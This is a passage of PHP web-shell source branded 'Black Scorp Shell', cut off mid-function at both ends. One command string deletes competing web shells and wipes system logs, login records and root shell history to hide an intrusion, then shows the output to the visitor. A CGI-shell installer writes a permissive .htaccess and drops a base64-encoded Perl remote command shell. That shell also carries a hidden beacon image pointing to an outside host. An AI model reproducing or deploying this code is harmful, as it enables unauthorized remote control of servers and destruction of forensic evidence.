893 $hardfucker = "rm -rv locales.php;rm -rv cgi.php;rm -rv dirty;rm -rv exploit;rm -rv kill;rm -rv c0w;rm -rv article.php;rm -rv an0n.php;rm -rv anonghosts.php;rm -rv anonghost.php;rm -rv wso.php;rm -rv umar.php;rm -rv ninja.php;rm -rv rev.php;rm -rv umar.txt;rm -rv ak.php;rm -rv symlinker.php;rm -rv trjnx;rm -rv sym.pl;rm -rv symlinker.pl;rm -rv back_connecter.php;rm -rv fuck.php;rm -rv an.php;rm -rv file.php;rm -rv sym.php;rm -rv symlink.php;rm -rv trjnx;rm -rv data.txt;rm -rv fuck.txt;rm -rv dir.txt;rm -rv dmn.txt;rm -rv lala.php;rm -rv test.php;rm -rv data.php;rm -rv fucker.php;rm -rv symlinker.php;rm -rv madleets.php;rm -rv dirdefacer.php;rm -rv dirdeface.php;rm -rv shitchanger.php;rm -rv locales.php;rm -rv data.php;rm -rv db.php;rm -rv deleter.php; rm -rv dhanush.php;rm -rv anonghosts.php;rm -rv blackhat.php;rm -rv image.php;rm -rv madspot.php;rm -rv pcd.php;rm -rv cheta.php;rm -rv b374k.php;rm -rv joker.php;rm -rv zone-h.php;rm -rv rooter.pl;rm -rv cp.php;rm -rv works.php;rm -rv lala.php;rm -rv lalala.php;rm -rv testing.php; rm -rv madleets.php;rm -rv anoncmd.php;rm -rv mass.php;rm -rv backupper.php;rm -rf /var/log/lastlog;rm -rf /var/log/wtmp;rm -rf /etc/wtmp;rm -rf /var/run/utmp;rm -rf /etc/utmp;rm -rf /var/log;rm -rf /var/logs;rm -rf /var/adm;rm -rf /var/apache/log;rm -rf /var/apache/logs;rm -rf /usr/local/apache/log;rm -rf /usr/local/apache/logs;rm -rf /root/.bash_history;rm -rf /root/.ksh_history;rm -rv xcp.php;rm -rv cp.php;rm -rv md5.php;rm -rv UeXploiT;rm -rv AkDk;pb.php;priv8.php";
894 $Black_scorpion_is_everywhere = ex($hardfucker);
895 die('<!DOCTYPE html>
896<html>
897 <head>
898 <title>Black Scorp Shell</title>
899 <meta charset="UTF-8">
900 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
901 <meta name="description" content="Sites description">
902 <meta name="about" content="Made By Black Scorp">
903 <meta name="description" content="Bye Bye">
904 <style>
905 .body {
906 margin-top: 7vh;
907 text-transform: capitalize;
908 background-color: #080510;
909 }
910 .font {
911 font-family: calibri;
912 font-size: 300%;
913 text-align: center;
914 color: white;
915 }
916 .upass {
917 margin-top: 70vh;
918 font-family: calibri;
919 font-size: 100%;
920 text-align: center;
921 color: black;
922 }
923 textarea {
924 color: white;
925 font-weight: bold;
926 font-family: cursive;
927 border-left: black;
928 border-right: black;
929 border-style: groove;
930 background-color: black;
931 font-size: 80%;
932 }
933 </style>
934 <script language="JavaScript1.2">
935 function ejs_nodroit(){
936 alert("Login Please!");
937 return(false);
938 }
939 document.oncontextmenu = ejs_nodroit;
940 </script>
941 </head>
942
943 <body class="body">
944 <div class="font">
945 <font>you are going ????<br>bye ????????<br><br></font><font style="color: red; font-family: cursive; font-size: 70%;">Take a Gift ????<br></font><br>
946 </div><center>
947 <textarea rows="10" cols="90">
948 '.$Black_scorpion_is_everywhere.'</textarea>
949 </body></center>
950</html>');
951}
952
953
954function actionCgiShell() {
955 printHeader();
956 echo '<h1>Cgitelnet</h1><div class=content>';
957 mkdir('cgitelnet1', 0755);
958 chdir('cgitelnet1');
959 $kokdosya = ".htaccess";
960 $dosya_adi = "$kokdosya";
961 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
962 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
963
964AddType application/x-httpd-cgi .cin
965
966AddHandler cgi-script .cin
967AddHandler cgi-script .cin";
968 fwrite($dosya, $metin);
969 fclose($dosya);
970 $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
971LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
972LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
973cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
974LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
975LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
976LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
977IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
978cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
979LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
980b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
981cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
982dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
983cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
984biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
985ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
986bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
987cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
988DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
989dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
990ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
991CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
992ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
993aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
994cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
995IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
996dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
997CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
998IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
999bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
1000VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
1001ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
1002InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
1003ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
1004LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1005LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
1006ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
1007YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
1008bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
1009bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
1010aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
1011OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
1012R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1013LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
1014DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
1015Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
1016aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
1017RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
1018CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
1019U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
1020LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
1021YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
1022b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
1023ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
1024YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
1025CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
1026dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
1027ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
1028ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
1029CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
1030CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
1031Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
1032fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
1033KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
1034cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
1035bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
1036ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
1037CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
1038JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
1039ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
1040Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1041LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
1042QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
1043Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1044LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
1045Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
1046ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
1047dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
1048aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
1049d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
1050CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
1051aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
1052b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
1053cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
1054cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
1055dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
1056ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
1057PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
1058emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
1059NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
1060dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
1061Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
1062P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
1063b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
1064YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
1065aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
1066dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
1067PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
1068LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1069LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
1070LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1071LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
1072c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
1073ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
1074ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
1075TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
1076ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
1077RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1078LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
1079IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1080LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1081LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
1082DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
1083Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1084LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
1085cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1086LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1087dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
1088PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
1089PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
1090Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
1091Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
1092MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
1093IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
1094DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1095LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
1096TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1097LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
1098cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1099LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1100LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
1101biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
1102LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1103LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
1104KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
1105cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
1106JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1107LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
1108aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1109LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
1110CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
1111ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
1112LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1113LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
1114IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1115LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
1116aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
1117CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
1118TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
1119CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1120LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
1121aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
1122Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
1123ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
1124cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
1125LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1126LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
1127c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
1128RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
1129aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
1130IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
1131JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
1132c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
1133CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
1134LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1135LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
1136aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1137LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
1138aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1139RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
